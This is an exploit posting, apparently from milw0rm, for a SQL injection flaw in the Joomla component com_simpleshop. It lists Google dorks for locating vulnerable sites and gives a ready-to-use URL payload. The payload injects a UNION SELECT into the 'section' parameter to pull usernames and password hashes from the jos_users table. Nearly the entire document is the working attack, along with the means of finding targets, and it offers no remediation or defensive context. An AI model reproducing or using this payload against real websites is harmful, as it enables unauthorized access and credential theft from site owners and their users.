###############################################################

joomla com_simpleshop SQL Injection(section)

###############################################################

AUTHOR : S@BUN

HOME : http://www.milw0rm.com/author/1334

MAİL : [email protected]

################################################################

DORK 1 : allinurl:"com_simpleshop"

DORK 2 : allinurl: "com_simpleshop"section

################################################################
EXPLOIT :

index.php?option=com_simpleshop&Itemid=S@BUN&cmd=section&section=-000//union+select//000,111,222,concat(username,0x3a,password),0,concat(username,0x3a,password)//from//jos_users/*

################################################################

S@BUN i AM NOT HACKER S@BUN

################################################################